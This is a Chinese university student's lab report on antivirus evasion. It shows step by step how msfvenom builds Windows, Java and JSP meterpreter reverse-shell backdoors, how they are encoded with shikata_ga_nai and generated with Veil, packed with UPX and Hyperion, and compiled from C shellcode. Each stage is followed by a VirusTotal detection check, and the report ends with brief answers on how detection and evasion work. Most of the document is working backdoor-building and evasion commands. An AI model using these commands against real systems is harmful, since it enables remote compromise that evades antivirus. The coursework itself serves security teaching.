2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践

实验步骤

1.正确使用msf编码器

1.输入如下的代码,生成exp3.exe文件,对后门程序进行编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.159.1 LPORT=5105 -f exe > exp3.exe
结果如下:
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第1张图片
virustotal检测结果如下:

2.输入如下代码,生成met-encoded1.exe文件,相比上一条指令多了-i 10,意思是编码十次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.159.1 LPORT=5105 -f exe > exp3_encoded10.exe
结果如下:
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第2张图片
virustotal检测结果如下:
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第3张图片

2.msfvenom生成如其他类型文件

(1)生成jar文件
生成命令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.1 LPORT=5105 f jar > 20175105_java_backdoor.jar
结果如下:

用virustotal检测结果如下:
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第4张图片
(2)生成jsp文件
生成命令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.1 LPORT=5105 x> 20175105_jsp.jsp
结果如下:

用virustotal检测结果如下:
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第5张图片

3.veil

(1)veil安装
参考kali201703安装Veil Evasion和解决Veil—Evasion安装中git clone导致失败的问题,成功安装好veil
(2)输入veil指令,进入如下页面
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第6张图片
(3)使用veil生成后门程序
使用use 7命令或use c/meterpreter/rev_tcp.py命令,使用此种payload
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第7张图片
使用set LHOST 192.168.159.1set LPORT 5105来设置本地的IP地址和端口号
输入generate生成
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第8张图片
(5)用virustotal检测结果如下:

4.加壳工具

(1)使用upx压缩壳
使用upx 20175105_veil_backdoor.exe -o 20175105_veil_backdoor_upx.exe命令加密刚才veil生成的程序
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第9张图片
用virustotal检测结果如下:
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第10张图片
(2)使用Hyperion加密壳
<2.1>查找hyperion.exe路径
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第11张图片
<2.2>进入管理员模式,通过cp 20175105_veil_backdoor_upx.exe /usr/share/windows-resources/hyperion将刚才经过upx压缩的后门放到含有hyperion的文件夹下

<2.3>然后进入到上述目录中,输入wine hyperion.exe -v 20175105_veil_backdoor_upx.exe 20175105_veil_backdoor_upx_hyperion.exe命令用hyperion加密后门程序
<2.4>用virustotal检测结果如下:
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第12张图片

5.使用C + shellcode编程

(1)使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.159.1 LPORT=5105 -f c > callshellcode.c 命令生成一段shellcode到callshellcode.c
(2)打开callshellcode.c,添加代码如下:

int main()
{
   int (*func)() = (int(*)())buf;
   func();

}

2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第13张图片
(3)使用i686-w64-mingw32-g++ callshellcode.c -o 20175105_backdoor.exe将c文件变成一个可执行程序。
(4)用virustotal检测结果如下:
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第14张图片

6.使用其他课堂未介绍方法

(1)打开veil,输入use evasion,输入list查看payload列表,输入use 16尝试第16项go/meterpreter/rev_tcp
2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践_第15张图片
(2)设置本地IP地址、本地端口号后生成可执行程序
(3)virustotal检测结果如下:


问题回答

1.杀软是如何检测出恶意代码的?
基于特征码的检测:经过对许多恶意代码的分析,统筹出该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,称为该类恶意代码的特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。

​ 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

2.免杀是做什么?
对恶意软件做处理,让它不被杀毒软件所检测。

3.免杀的基本方法有哪些?
改变特征码的技术:加壳、使用encode进行编码、基于payload重新编译生成可执行文件、使用其他语言重写再编译
改变行为的技术: 尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码
非常规技术:使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工制作恶意软件

4.开启杀软能绝对防止电脑中恶意代码吗?
不能,通过本次实验查阅的相关资料,证明杀软的病毒库是不断更新的,这也能证明,恶意代码也是在不断发展。


实验体会

本次实验相较前两次实验在知识面上扩展了许多,导致自己有些应接不暇,自己应该调整时间分配,在下次实验中表现得更好一些。

你可能感兴趣的:(2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践)